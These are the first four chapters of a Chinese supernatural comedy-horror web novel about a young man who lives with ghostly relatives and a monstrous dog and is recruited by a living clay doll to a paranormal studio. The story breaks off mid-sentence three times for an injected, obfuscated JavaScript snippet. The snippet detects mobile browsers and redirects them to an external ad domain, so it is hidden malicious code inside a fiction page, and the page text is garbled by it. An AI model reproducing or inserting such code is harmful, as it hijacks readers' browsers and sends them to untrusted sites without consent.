《被怪物饲养后》 1. 邻居减一 “咚——” “咚——” 令人烦躁的声音再一次从侧方传来。厚实的隔音墙效果依旧微弱,男人把耳机的音量调到最大,那声音还是阴魂不散地涌进他的耳朵里。 男人已经忍受从邻居那里传来的噪音三天了——自从他搬进这里开始,每天晚上的这个点,小孩子乱拍鼓的声音就会准时响起。一下又一下,好像根本不会停。 搬来之前他就知道自己的邻居不太对劲,把房子转租给他的那家人在他签合同那天鬼鬼祟祟地扯着他,说隔壁可能在养鬼婴。 养鬼婴,这男人当然有听说过。把没能出世就夭折的胎儿用畜牲的胃包起来,肚子上绑一根红线,再放进水里拿进神龛供着,日日夜夜点着香火、放上祭品供胎儿吃喝,就能让胎儿成可以长大的小鬼。男人不信到了这个年头了还有人干这种事,所以很无所谓地签了下来。 现在倒好,不是养了个鬼婴,怕是养了个烦人的熊孩子!天天拍鼓,他们家的人也不嫌吵! 那小孩的鼓也不知道是什么材质的,动静大得吓人,他只在外出表演的大鼓那听过这种架势。可这年头还有哪个会给小孩玩大鼓啊? 噪音钻进耳道,又一路爬上大脑,敲击着状态本就不太良好的神经。男人忍无可忍地摔下耳机,几乎是用冲刺的速度跑到了邻居家的院门前,用力敲了三下。 “你们家有人管小孩吗?一天天在那里拍鼓拍鼓,不知道的还以为你们家是戏班子呢!你们到底管不管!你们不管我替你们管!” 铁门后头没动静。男人一肚子的火到了这里有翻涌着上了脑袋,料定这家人打着装死的算盘之后直接上脚在门上踹了一脚。 “听不见是吧——” 他这句话还没说完,踹出去的脚就踹了一个空,那铁门就这么当着他的面缓缓地敞开了,露出后头绿油油的草地。男人刚才还气势汹汹,但真看到门开了反而气势猛然弱了下来,尴尬地把脚收了回去,张望着里头开门的人。 没人,院子里头没人。可要是没人在,这门是怎么开的? 男人大胆了点,走进去几步左右看了看——真的没人,就连进屋的正门都没开。 “怪了……自动门?也不像啊……”他一边嘟喃着一边转头走出去,结果才迈出一步,一只小鼓就这么在院子里头冒了出来,还在地上微微打着转,简直像是有人刚抓着它丢下来。 男人的动作僵住了,那股熟悉的寒意又从脚底冒了出来,只不过这次更加彻底,简直是把人丢进了冰柜的冷,让他直打哆嗦。 鼓的颜色很漂亮,上面的涂料带着很明显的笔触,一定是后头又自己补过色。但落在男人眼里,这只艳丽过头的小鼓就像是恐怖故事里头的陷阱,正等着他走过去。 这院子真邪门……说不准这一家子都邪门!难怪房租这么便宜! 男人强行调动自己的腿往后退,那只鼓就这么安静地待在院子中央,好像一个活生生的物件在盯着他的动作。 活的、活的……这个念头不断往他脑子里钻。 一只普通的小鼓,真的能这么响吗? 男人的脸色越来越差,想把口水咽下去,却仿佛失去了对自己喉咙的控制,只能不停发出漏气一样的气音。 走,快走,得快点离开这里…… “咔哒。” 这是门上锁的声音,男人每天晚上下班时都能听见。与此同时,他绝望地感受到自己的裤腿被拽了拽,有什么很轻的东西正扯着布料往下坠。他梗着脖子,眼球都不敢转动一下,缓缓地把身子扭过去—— 半个头骨凹陷下去的婴儿正趴在他的领口,身子干瘪得像是一把木柴,轻轻一拨就能弄断了。婴儿用细长的、蹼一样的手抓住那薄薄一层的布料,仰着那张流淌着恶心混色液体的青白的脸,开口问他: “叔叔,你不留下陪我玩一会吗?” “啊啊啊啊啊啊啊啊啊啊啊——!!!” —————————— 手机上的数字跳动,前面的那一行变成了“10”。公交站的灯光昏暗,穿着正装忙碌了一整天的黑发青年按下关机键,宣布正式结束今天毫无进展的找工作任务。 卡着点坐上最后一班公交,他总算是赶在数字变成“12”前回到了家门口。 铁门关着。黑发青年伸出去的手在看到关紧的门缝时顿了顿,过了好一会才叹了口气,从包里拿出自己的钥匙。 林书渝,民俗学专业毕业生,目前正在努力寻找工作中。简历平平无奇,学校平平无奇,家庭情况平平无奇。除了一张还算赏心悦目的脸,无论从哪一方面来看,面试官的注意力都不会在他身上停留超过三分钟。 但只有他知道,那个在档案上的描述为“和谐友爱、普通小康家庭”的家庭简述一栏到底撒了多大的谎—— 钥匙捅进锁扣,尖锐的尖端戳进了某个柔软而粘腻的东西里。他没有停下手里的动作,将钥匙完全捅进去,无视从锁孔里渗出来的暗红液体开始转动,嘎吱嘎吱的声音在夜晚的街道上极其明显。 林书渝知道这里头是什么,但暂时没有心思去管——反正就算被听到了,把这东西放进来的小家伙也逃不了。 他能听到院子里传来了隐隐约约的敲鼓声,这让他在进门时忍不住看了一眼邻居家的方向。 灯亮着,门却是敞开的……这个邻居应该也要搬走了。他收回视线,在心中淡淡地想道。 铁门向两边打开,露出后方堪称混乱的场景。林书渝站在门口,居高临下看着坐在地上呆板地敲着小鼓的男人,还有在他进门的下一刻就故作无辜背起了手的干瘪婴儿。 “念念,你又把人引过来了?” 没错,他的弟弟并不是个人类。如果为他检查简历的辅导员知道这件事,估计会直接指着“普通”两个字晕过去。 婴儿瘪起嘴唇,老树皮一样干枯的嘴皮因为他这个动作簇簇地落了下来,混进那些淌到身上去的液体里,把它们变得更加粘稠。 “他来踢我们家的门,很坏,念念只是想要他停下来。” 林书渝定定地注视着他,很显然一个字也没有相信。婴儿察觉到了他目光里的情绪,努力仰着自己的头,试图用空洞的眼眶让林书渝心软。 “我没有要吃掉他,只是想让他拍拍鼓。” 就像是要印证他说的话,以一种诡异的姿势坐在地上的男人痴痴笑了起来,双手软趴趴地在鼓面上乱敲着,把薄薄的鼓皮打得通红。下方的红血管涌动着,隐约还可以看到里头有几根已经断开来。配合上男人高大的体型,竟是显得这面鼓有些可怜。 林书渝叹了口气,朝小鼓招了招手,就像是在呼唤着某只活物。 鼓面剧烈抖动了一下,随即涨起巨大的气泡,一张一缩,如同青蛙呼吸时的脸颊。每次变化时都会让鼓身跳跃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15152184|164872||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起来,向前挪出几厘米的距离。 啪。啪。粘腻的拍地声。 男人依旧在继续着拍鼓的动作,就像是意识不到自己的双手下已经空无一物。但若是有人仔细看去,就会发现男人的瞳孔紧缩起来,不安地颤抖着,嘴唇翁动,似乎有什么声音被死死的扼制在了喉间。 婴儿看出了他的变化,爬到男人的身边咯咯笑起来,混浊的暗色液体从嘴角滑下。男人的眼睛更加惊恐,每一块肌肉都叫嚣着逃离。 “好了,念念。”青年平静的声音传来,对于男人来说恍若听到了赦令。 婴儿瘪着嘴,一屁股坐到了地上,扭着头不说话,或许是在以这种方式进行无声的反抗。只可惜,他抗议的对象已经完全对这一套免疫。 林书渝弯下腰,将主动向他怀里跳的鼓捞起来,摸了摸光滑的鼓面。 “青蛙,把鼓吐出来。” 名为【青蛙】的生物乖顺地发出一声古怪的“呱”,因为被什么东西堵着而更像是“咕”。随即,伴随着一阵皮肉挤压的声音,整张鼓的表面开始蠕动起来,缓缓地挤出了一只小鼓。而脱离绷紧状态的青蛙猛然缩了回去,像是拉开又松手的橡皮筋。 小鼓咕噜噜地滚到了地上,林书渝摸了摸青蛙的头顶,低声道:“好孩子。” 青蛙的眼皮鼓了鼓,这是它表达高兴的方式。 安抚完可怜的宠物,林书渝再次将目光放在了自家熊孩子的身上,一字一顿地喊出了他的全名:“林念,从人家身上下来。” 刚才还在吃吃笑的婴儿顿时挂上了哭脸,不情不愿地从男人的身上爬下,慢吞吞地走到了林书渝的身前。林书渝把手里的青蛙扔给他,走到了男人的身前,弯下腰和他的对视。 男人惊恐地看着那双漆黑的眼瞳,就像是看见了吞人不眨眼的深渊。黑发青年注视着他,语调毫无波澜:“今晚什么也没有发生,好吗?” 关节因为点头的力道太大而发出咔咔的声响,男人拼了命地点头,恨不得用尽浑身解数表忠心,却在下一秒后颈一痛,两眼一黑倒在了地上。 林书渝动作熟练地把人放平,检查他的脉搏和四肢情况,发现没有异常后松了口气。 还好还好,这个邻居也没有心脏病。要知道,他从第一个邻居误入之后就一直在担心有一天会发生这种事。 既然对方并无大碍,林书渝很快便根据过往的惯例将邻居“清理”了出去——大概就是把人丢回隔壁然后伪造成对方是宿醉。 当然,还有二手准备。林书渝将可溶性红墨水写好的血信塞到邻居的口袋里,确保对方想拿手机时会先拿出这封信。借着玄关处的光可以看到上面扭曲的字体:【不要做不诚实的人。】 一切处理完毕,他拍了拍手掌,脚步轻快地回到了自家院子里。 院子里已经空了,无论是青蛙还是弟弟都不见踪迹。林书渝并不意外这个结果,毕竟不管是活的还是死的,小孩子惹事后的第一反应都是躲起来。于是他心平气和地推开了屋门,按开玄关处的灯,背身把门反锁。 一阵寒意爬上小腿,狗的前肢扑到膝窝处,林书渝没控制住平衡向倾去,一只手撑住门板,另一只手头也没回地将凑上来的人脸按了下去。 “面面,不准舔我。”黑发青年眉头皱起,在扭头看到今天自家狗的脸是哪张后顿时皱得更紧了。 “——尤其是你顶着这张脸的时候。” 2. 人面狗 玄关的冷色灯光下,毛发稀疏的大白狗显得有些发紫,原本是狗脸的地方却是一张苍老的人脸,皮肤皱皱巴巴地堆叠在一起,凡是平坦的地方都布满了棕黑色的斑点。它那混浊的眼球一动不动地盯着黑发青年,半条舌头半死不活地耷拉在外面,像是条大肉虫。 一人一狗对峙许久,最终,人面狗还是缓缓地撤下了自己的前肢,规规矩矩地趴到了地面上。 林书渝目不斜视地从狗身边走了过去,很是绝情。没办法,不会有人喜欢摸一只长着老人脸的狗。 面面没有跟上来,或许是这张脸上的皱纹带走了狗的精力,让它像老狗一样疲惫——虽然它确实是老死的。 除了可以吞下比自己大十倍的东西的青蛙和完全不是人类的弟弟,他进家门后见到的第三位家庭成员一般为这条两年前刚从土里爬出来还换了张脸的狗。死而复生的老狗并没有自己换了个种族的自知,还在用老一套的行为方式来和小主人撒娇,成功让林书渝把狗瘾戒了。 走进客厅,墙上的大镜子一如既往照出的并非是他的身影。正在梳头发的女人听到声音,满脸欢喜地转过身,脸颊因为上扬的嘴角而咔咔作响,上面的裂痕变得更多了些。 “鱼鱼回来啦?” 林书渝已经练就了忽略这幼稚小名的本领,淡定地点了点头:“姐姐,我回来了。” 客厅里的灯没开,林书渝按下开关,走到电视机柜前,正好对着那面大镜子。头顶的白炽灯亮起,端坐在镜子里的女人抬起手来挡了挡眼睛,盘在脚底下的红线越发鲜艳,端放在膝盖上的绣盘角落依稀可以看清两个绣到一半的字:林昭。 林书渝左右看了看,并没有看到两道熟悉的人影:“爸妈呢?” “爸妈有事出去了,今天晚上就只有我们三个在家。” 林昭朝他笑了笑,捻起地上的红线仔细穿过针孔,开始缝合脸上的裂隙,居然还能分出心神来继续交代:“面面今天还没有出去散过步,姐姐有事情要忙,可以麻烦鱼鱼去溜一溜面面吗?” 爪子摩擦地毯的声音响起,林书渝低下头去,正好看见人面狗磨磨蹭蹭地走了过来,趴在沙发旁,用那张布满皱纹的脸对着他,浑浊的眼珠里勉强可以看出几分期盼。 林书渝皱了皱眉头,没有第一时间出声答应。没有等到回应的林昭将头抬起,一片浓黑的眼中见不到任何物品的影子。 咔嚓。手中的线被剪刀剪断,林昭从椅子上站起,踏过地面上散落的红线时却没有留下分毫痕迹。那道苍白的身影越来越近,最后,一双青白无比的手臂从镜中探出,亲昵地环住了黑发青年的头。 阴冷的气息扑面而来,可以清晰感受到骨节的手轻轻拍打着青年的头顶。镜鬼的声音朦胧不清,如同年久失修的录像带。 “只要带面面出去走半圈就好。它今天换了这张脸,已经是条老狗了,再走多了体力也跟不上。” 被染成烟青色的指甲若有若无地划过青年的额头,留下不甚明显的白痕。林书渝闭了闭眼睛,像是在停顿的这几秒内做好了心理建设,缓缓地点下了头。 镜中的女人展颜一笑,像是有一阵无形的风将她吹回去一般飘回椅子上坐好,朝着自己的弟弟挥了挥手。 “快去快回,需要姐姐给你准备宵夜吗?” “不用了。”林书渝回想起家里人与自己格外不同的菜单,果断拒绝了这个提议,“我先回房间一趟,说不定还有我没看到的新邮件。” 林昭当然不会有意见,甚至还非常贴心的附上了某个熊孩子的位置:“念念又躲起来了,这次他把坛子藏在了你的电脑机箱上。” “他变聪明了?居然还懂得灯下黑?”林书渝略显惊讶地说道。 不过也没聪明到哪里去——他要用电脑的话就一定会打开机箱柜,到时候正好抓个正行。 想要抓住一只鬼婴其实是很简单的一件事,把他的骸骨拿在手上,他也自然藏不下去。林书渝熟练地将白瓷盖掀开,还没等他把里头被红布包着的东西拿出来,裤脚就被扯了扯。 鬼婴站在他的脚边,小心翼翼地伸出两根手指捏住兄长的裤脚,原本应当怨毒无比的眼睛里头是不甚明显的讨好。 “哥哥,刚刚你的电脑好像响了一下。”还没等林书渝开口说话,鬼婴就指了指一片漆黑的电脑屏幕,试图转移话题的打算已经溢于言表。 林书渝瞥了一眼黯淡的主机,又瞥了一眼鬼婴坚定里带了几分心虚的表情,直接按住了鬼婴的脑袋,稍稍用力把他推到了桌脚。 桌子是普通杉木制的,只不过桌脚那一块的颜色却要更深些——那是林书渝十八岁时从道观中求来的一截门槛。鬼婴哭丧着脸趴到地上打滚,腥臭的液体半边破开的头骨里流出来,把地毯也染上暗色。 “我不喜欢你的桌子脚……”林念幽怨地哭诉道,发现林书渝不理他后龇牙咧嘴地冲着桌脚发出嘶嘶的声音。 “不喜欢也没用。如果你还改不掉吓唬邻居的毛病,我就把大门都换成桃木。”林书渝按下电脑开机键,面不改色地威胁道。 怪物很难生出人类的情感,屡教不改永远是林念的底色——倒不如说,对于一个鬼婴而言,玩弄误闯的生人本身就不是错误的。不仅是林念,家里的其他成员也是这么想的。 林书渝无法改变他们的非人的本质,就只能尽全力去管控。温和的要求是一种手段,威胁也同样是。 鬼婴低头盯着地毯上的纹路,委屈巴巴地闭上了嘴。 电脑屏幕亮起,林书渝凝视着进度条,心中计算起了距离他们需要搬家还有多久。 人心难测,就算是一时被吓唬住了,邻居保不齐哪天又会说出去。而迄今为止,他们已经被五户人家发现了不对。正好他大学毕业,不需要再固定在这座城市,趁没有彻底暴露前更换藏身环境才是最好的选择。 搬家找房子又是一笔费用,积蓄所剩无几……得快点找到工作了。 一如既往的,邮箱里空无一物。发出去的简历石沉大海,连明确的拒绝都没有。空荡荡的邮箱就像hr透明的大饼,总是让人心怀最后的希望。 林书渝叹了口气,直接按下了关机键,目不斜视地略过了紧盯着他的鬼婴。门板后传来窸窸窣窣的声响,不出所料的,拉开门就是一只卧趴的大白狗。 林书渝动作顺畅自然地抓住了人面狗叼在嘴中的遛狗绳:“走吧面面,我们去散步。” 现在的时间是半夜十一点,居民区里没有半点人影,所以牵着狗绳的林书渝属实成为了明晃晃的异类。 绿化带里头的路灯亮度属实有些暗淡,林书渝从口袋里掏出手机,刚想打开手电筒,就看到自己好些日子没用过的邮箱上多出了个小红点。本想拉下系统栏的动作一顿,转而点进了邮箱的界面。 这台手机他只登录了私人邮箱,收信箱里头塞满了广告和杂七杂八的验证码通知。也因此,最新的那封邮件名就显得尤其之突出。 “来自霖灵零工作室的入职邀请……”他的眉头微微皱起,目光在发件人上停顿了一下,“古怪的名字。” 名字古怪,内容也相当古怪。没有待遇没有介绍,就只有简短的邀请,根本不像是正经公司。 是诈骗邮件?林书渝没过多久就给出了这个猜测,果断按下了删除键。 【删除失败。】 报错的红色图标弹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15152185|164872||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出,林书渝愣了愣,再次尝试了一次——还是失败。 ……系统故障吗?他抿了抿嘴唇,清理后台重新打开,这次依旧删除失败。 连着失败三次,长期与鬼怪生活在一起所培养出的直觉开始发出预警。林书渝试探性地删除前些天收到的广告邮件——这一次成功了。 不是系统故障,这个邮件本身就无法删除。诈骗邮件不可能做到这一点,所以说,是盯上他的“脏东西”?这可要比诈骗邮件要麻烦多了。 思考良久,林书渝还是慢吞吞地打下了回复:【请问需要面试吗?】 不管是诈骗还是赛博鬼魂,再聊一句就知道了。前者他报警就好,如果是后者……他就把附近十字路口那只饿死鬼顺着网线送过去,就当为民除两害。 林书渝按下发送键,默默拉紧了手中的狗链,聚精会神地等待着回信。 下一秒,阴冷的风抚过后颈。瓷白的泥偶趴在黑发青年的肩膀上,语气悠闲到像是散步时遇到了熟人:“需要哦。” 身体因为突如其来的声音而僵直一瞬,几秒钟后,黑发青年眯起眼睛,抬手直接伸向了泥偶的脖子。 泥偶轻飘飘地飞向半空,躲开了这一击,脸上用釉彩画出来的笑颜让人莫名感到一阵反感:“抱歉,我出现的时机是不是不太好?” 没有人回答他的问题。林书渝拽紧狗绳,向侧方退了两步,警惕地注视着眼前红白相间的活泥偶,余光瞥了眼手机屏幕上还没来得及关闭的邮箱界面。 “是在看入职申请的邮件吗?”熟悉的声音从下方传来,林书渝瞳孔紧缩,不可思议地看着瞬间来到他手机旁的泥偶。 墨水点出的两粒眼珠中倒映着黑发青年有些僵硬的表情,泥偶歪了歪身子,语气轻快:“其实我本来想更加正式些,但招聘文案才写完第一版,我的员工就不想干了……希望你不要介意这点小小的疏漏,作为你的面试官,我会事无巨细的回答那些招聘信里头没有写到的东西。” 林书渝缓缓将自己的手臂收回,与泥偶拉开距离:“我现在更想知道你是个什么东西。” 他曾听说过有种法术可以使纸人活过来,但活着的泥偶倒是从没听说过。遇上认知范围外的事物并不是好征兆,但面面没有对这只泥偶表现出恶意,应当不是怨鬼…… “我是你的面试官,如果你考虑入职的话,还将会是你的上司。”泥偶恢复原先的高度,晃晃悠悠的样子像是个气球,“你想要先了解什么呢?资薪待遇?发展前景?工作内容?” “抱歉,我都不是很想了解。”林书渝冷漠地回答。 “是在担心我们工作室的正规程度?我们有正规公司注册,经营时间长达半个世纪,业界知名度极高。你看,这是我们工作室在相关论坛里的讨论度统计。” 手机屏幕上的画面自动跳转到了好几个国内出名的灵异论坛,林书渝匆匆扫了一眼上面陈列出来的帖子,默不作声地借着整理衣服的动作将手机背到了身后。 “听上去确实不错,但遗憾的是,应该没有人规定面试途中不能主动放弃吧?” 他继续进行敷衍式的拒绝,背在身后的手已经悄然点开了紧急联系人—— “啊,要不还是先从资薪待遇说起吧!” 泥偶恍然大悟一般仰起头来,在空中翻滚半圈,墨点般的眼珠变成了弯起的咪咪眼。 “底薪五十万一月,每完成一起委托会有百分之三十的提成。工作室还会给每位员工购置七位数的保险,福利方面,我们能够提供许多帮助,就比如说……关于你不同寻常的家里人所带来的那些【小问题】。” “——怎么样?还想要了解更多吗?” 3. 恭喜入职 悬停在拨通键上的手指顿住,过了几秒钟后还是移了开来。林书渝握住牵狗绳的手指收紧,直直对上泥偶的眼睛。 “你说的话要怎么证明?” 见他态度软化,泥偶这才收敛了脸上的笑容,落到了黑发青年的手腕处。 “公司注册信息和流水记录已经用邮箱给你发过去了,只不过,我就算拿出一百张图片自证,也肯定比不过你自己找——” 林书渝点开新接收的邮件,沉默地审视着附件中的内容。 没有P图痕迹,公章也没有问题…… 由于家里人的身份都不太简单,林书渝私底下没少偷偷关注伪造证件这方面的知识。确认好真伪后,他关闭文件浏览页面,当着泥偶的面打开了比较知名的灵异类论坛。 方才只是匆匆一瞥,现在他自行搜索,有些惊讶的发现论坛里的相关帖子实在不少,关联词大多都是“专业户”“救急”……和“态度差”。 对方可能是诈骗的可能性进一步降低,林书渝将手机关闭,对上了泥偶黑豆般的圆眼睛。 “看来你已经确定好了?”泥偶故意摇头晃脑着这么说道。 林书渝点了点头,只不过还是多问了个问题:“为什么会找上我?” 他对工作内容并不在乎,只要打款能到位,那他可以立刻入职。只不过他实在想不明白,自己到底有什么特长值得让这间工作室另眼相看。 “工作室里的每一名员工都有他的特别之处,你当然也是一样。”泥偶斗篷下端伸出一只手来,拍了拍青年的袖口,“等你出第一次任务的时候,自然就能知晓了。” 第一次任务……?林书渝眉头微微皱起,不动声色地将手抽了回来,语气中带了几分不确定:“面试环节呢?” 为什么听起来他像是直接入职了? “你已经通过了呀。”泥偶以一种理所当然的语气说道,“需要我先把这个月的工资打到你卡上吗?” 刚想因为入职环节的不靠谱程度而反悔的林书渝:“……要,谢谢。” —————— 牵着狗走在回家的路上,林书渝认真思索该怎么和姐姐解释自己大半夜出去一趟就找到工作这件事。 泥偶还趴在他的肩上,根据对方的自我介绍,貌似还是这间工作室的老板——还是boss直招呢。 夜里的风比白天大上不少,肩头顶着个鬼泥偶,林书渝险些分不清是哪里在造冷。路灯比他来时要更暗些,把脚下的影子都变得有些模糊不清,像是下一秒就能消散掉。 空荡荡街道上就只有他的脚步声,视线范围内出现那个熟悉的十字路口,这代表着他的家就在前方不远处。 “你有没有觉得周围变冷了?”路上一直保持安静的泥偶突然开口说道。 林书渝脚步不停:“没感觉,只要你还趴在我肩上就都挺冷的。” “唉,我不是这个意思……” 原先还在闷不作声往前走的人面狗忽然止住了脚步,用身躯挡住了自己的主人。路灯变得更加暗淡,明明现代工艺并不会受风影响,但那投下的光线却依稀摇晃着,连带着模糊的影子也随之摇晃起来。 哗啦啦。有什么东西从半空中飘落,轻飘飘地落到了林书渝的肩头。他抬手将其拿起——是烧到一半的纸铜钱。 白色的铜钱像雪一样落下,纷纷扬扬的覆盖了大半个十字路口。而墙角处,一道黑乎乎的影子蜷缩着抱住自己,面前摆着碗插了四柱香的米饭。 “你看,我就说周围变冷不是我的原因。”在林书渝将目光投过去后,位置被纸钱占据的泥偶凑到他的耳边说道。 民间传言,枉死的鬼魂会被困在十字路口。要想平平安安的从这里经过,就得为鬼送上一碗饭,插上四柱香,趁鬼埋头时赶紧经过。 而这个小区的闹鬼传言当然不只是他们一家的杰作——这只鬼已经在这个十字路口待了许久,林书渝几乎每天都会与他擦肩而过。不过今天,似乎是不能像平日里那样互不打扰了。 四周一时间陷入了死寂,鬼影始终没有抬起头来,自顾自的蜷缩在那碗饭前。他没动,林书渝也不会先动,就这样保持着诡异的平衡。 泥偶不太满意这种安静:“看起来你和这鬼挺熟悉的。” “确实挺熟,他从我大一开始就在那里了,物业请过三次寺庙的人来做法事,没什么用,还是得用回老方法。”林书渝平静地说道,“香还燃着,数量也没出错——那就是饭馊了,物业忘记换。” 只不过他过来时为了遛狗绕了点路,倒是没有留意到这边的异况。 人不愿意吃馊米,鬼自然也不愿意。 “那你现在要怎么办?绕路吗?” “绕不了,他已经闻到我的味道了。”林书渝摇摇头,轻轻扯了一下手中的狗链。下一秒,白色的人面狗就像收到了什么指令,继续迈开腿向着十字路口前进。 活人的味道落在鬼鼻子里就像是馋人的肉香,一碗馊饭和一碗香喷喷的肉,会选择哪个已经一目了然。 “咦?你还要过去啊?”泥偶故作惊讶地发出了惊叹,“除了四年都没除掉,按常理来说可是很凶的哦。” “不要用这种阴阳怪气的语气和我说话——工作室有规定可以举报老板吗?”林书渝无情地把泥偶推离自己的耳边,在与黑影相隔不到五步时停下。 鬼缠身难解,他也不愿意把麻烦事拖太久。搬家前帮忙把这麻烦处理了也算是做了件善事,要是能为自己积点阴德就更好了。 靠近了之后,林书渝也能将那白瓷碗中的光景看得更清楚:四柱细香已经燃烧了大半,猩红的火光若隐若现,撒下的白色香灰混在有些泛黑的饭中,看上去甚至有些泛青。 鼻腔弥漫着草木灰的气味,有些呛人,但无伤大雅。黑影缓缓抬起头来望向来者,瘦削的脸颊自太阳穴开始凹陷,如同一具枯骨披上了干瘪的人皮。 “饿……”人皮张开嘴,里头一片空洞,“好饿……” 他本不是饿死鬼,但被人每隔七天喂一碗饭,没被填饱肚子,反而喂大了胃口。困在十字路口浑浑噩噩找不到往生之道,又平白无故多添了贪念。林书渝若有所思,发现自己好像找到了这么多和尚都不能超度成功的原因。 “饭……饭……”关节扭动的声音响起,伴随着令人骨头疼的咔咔声,黑影以一种扭曲的姿势四肢着地,匍匐着朝青年的方向伸出手臂。 在那只手即将落地时,黑发青年松开了狗绳与项圈的链接。 “去吧,面面。”他轻声说道。 泥偶的动作定住,停滞在半空中,黑豆眼倒映着人面狗走上前去后所发生的一切——那张铺满皱纹的老人脸如同蜡般融化,露出了下方深不见底的嘴。 一口。干瘪的皮被 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15152186|164872||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 扯成了两半。 两口。发黑的骨头变成了一地的碎渣。 人面狗没有发出一点声音,只是沉默着埋头苦干,只有牙齿开合之间漏出几分清脆的咀嚼声。林书渝始终保持着平静的表情,目睹着鬼影隐没在自家白狗的嘴中。 最后一点残渣也化为烟灰飘走,林书渝俯身拍了拍人面狗的头,语气甚至有点自豪:“好狗狗。” 那张老人脸又重新凝固回来,人面狗克制地用自己毛茸茸的那一边蹭了蹭主人的手,没忘记把嘴边剩的骨渣抖掉。 周围的温度似乎又回到了寻常夏夜的范畴,林书渝很是贴心地将碗挪到墙根处防止第二天有车直接碾上去,随后十分有素质的重新将遛狗绳拴回了项圈上。 回家的进程继续,人面狗摇晃着尾巴,不难看出它的高兴。林书渝是个不会扫兴的好主人,顺着狗狗的心情夸奖道:“你做的很好,对不对?” 面面没有用叫声回答,只是混浊的眼睛亮了几分,皱巴巴的脸上多出了几分笑意。 等走出了五十米的距离,泥偶才幽幽地飘回了林书渝的肩头:“好熟练啊——你经常干这种事吗?” “什么事?”林书渝思索了一下,“给面面加餐吗?不经常。” 他又不是什么民间捉鬼师,天天去探查那些都市传说背后到底有没有鬼魂然后为民除害。少与这些东西接触一向是他的生存法则。如果不是今天出了点小意外,他会和往常一样装作什么也看不见。 听到他的回答,泥偶的语气变得有些古怪:“加餐吗……林书渝,我想你确实很适合我们工作室。” “谢谢你的认可,但你好像说过很多遍了。” 再度打开客厅的门,墙上的挂钟指针已经走到了“2”——这真是一个令人忧心的数字。精通养生之道的林书渝当即立断地把狗放回狗屋里,又将赖在自己房间不走的鬼婴赶出去,快速道了声晚安就锁上了门。 门落锁的那一刻,泥偶摇摇晃晃地从他口袋里探出头来:“房间里有个阴童子,门外趴着只人面狗,客厅住着个镜鬼,还有一对外出未归的夫妻鬼……你们家可真是有趣。” “不好吗?”黑发青年面无表情地开始脱外套,语气平淡而肯定,“我们是幸福美满的一家人。” “幸福不幸福暂且不提,热闹是真的。”泥偶飘到一旁的桌子上,毫不避讳自家新员工正在进行洗澡前的准备,“既然已经入职了,那我也是时候给你分配第一个任务——” “等等。” 一只手指压在了泥偶的嘴部,强行打断他的话。黑豆眼睛朝上转了转,倒映出青年的脸,具象化地传递着一句话:什么事? 林书渝收回手,把浴巾从椅背上拿起来:“现在是半夜两点,无论在法律层面还是社会公认标准里,都不该和工作沾边。” 泥偶很有耐心地问:“所以呢?” “所以,你可以明天早上再介绍这个第一项工作的内容。”林书渝看了眼表,补充道,“早上九点半吧,常见上班时间。” 泥偶嘴角上扬的弧度不变,但林书渝莫名能从他的脸上看出几分诧异与震惊。过了几秒钟,企图压榨新员工未果的黑心资本家才开了口:“好吧,我还是第一次接受这种建议,以后我会多加改进。不过,我还是觉得需要把前情提要说一下——” “你知道兴成大酒店的无头尸传闻吗?” 4. 酒店里的无头尸 “兴成大酒店?”林书渝手上动作一顿,重复了一遍这个地名,随即点了点头,“有点印象——是不是西三路那个两年前出过命案、老板携款潜逃的酒店?” 只不过,无头尸……这个传闻他倒是没有听过。 像是读懂了他的表情,泥偶飘到半空,故意压低了嗓音:“传说,两年前的那起命案并不简单。受害者的头部被平整的割了下来放在桌子上,嘴角还保持着上扬的样子;身体平躺在地面,地毯上却没有一滴血。更离奇的是,那颗头在身体被运走的后一秒,直接在警察和法医的注视下消失得无影无踪。” “再然后,走廊上时常冒出一道人影,一动不动地站在楼梯口。老板想尽办法压下风声,生意还是一天天荒败下去,直到资金链断裂,立刻带着剩下的资产跑到了国外,只留下一间空壳酒店。” 房间里的灯没全开,显得有些昏暗。泥偶血红色的斗篷在顶光的照射下越发红艳,仿佛下一秒就要滴出粘稠的液体。 阴森的气息扩散开来,林书渝和泥偶面对面站着,听完这个半夜的鬼故事后平静地走到了浴室,在关门前留下了自己的评价:“我明白了,任务目标就是这个无头尸对吧?剩下的明天早上再说。” 啪!门被关上。泥偶望着紧闭的浴室门,缓缓地从半空降了下来,嘴角也跟着降了几个百分点。 ——他好像找到林书渝一直找不到工作的原因了。 半小时后,洗漱完毕的林书渝躺进被窝里,在关灯前凝视着还坐在床头柜上的泥偶,发自内心地问道:“老板,你今晚不回去了吗?” “当然不回呀。”泥偶左右摇了摇身子,“以后都不回了。” 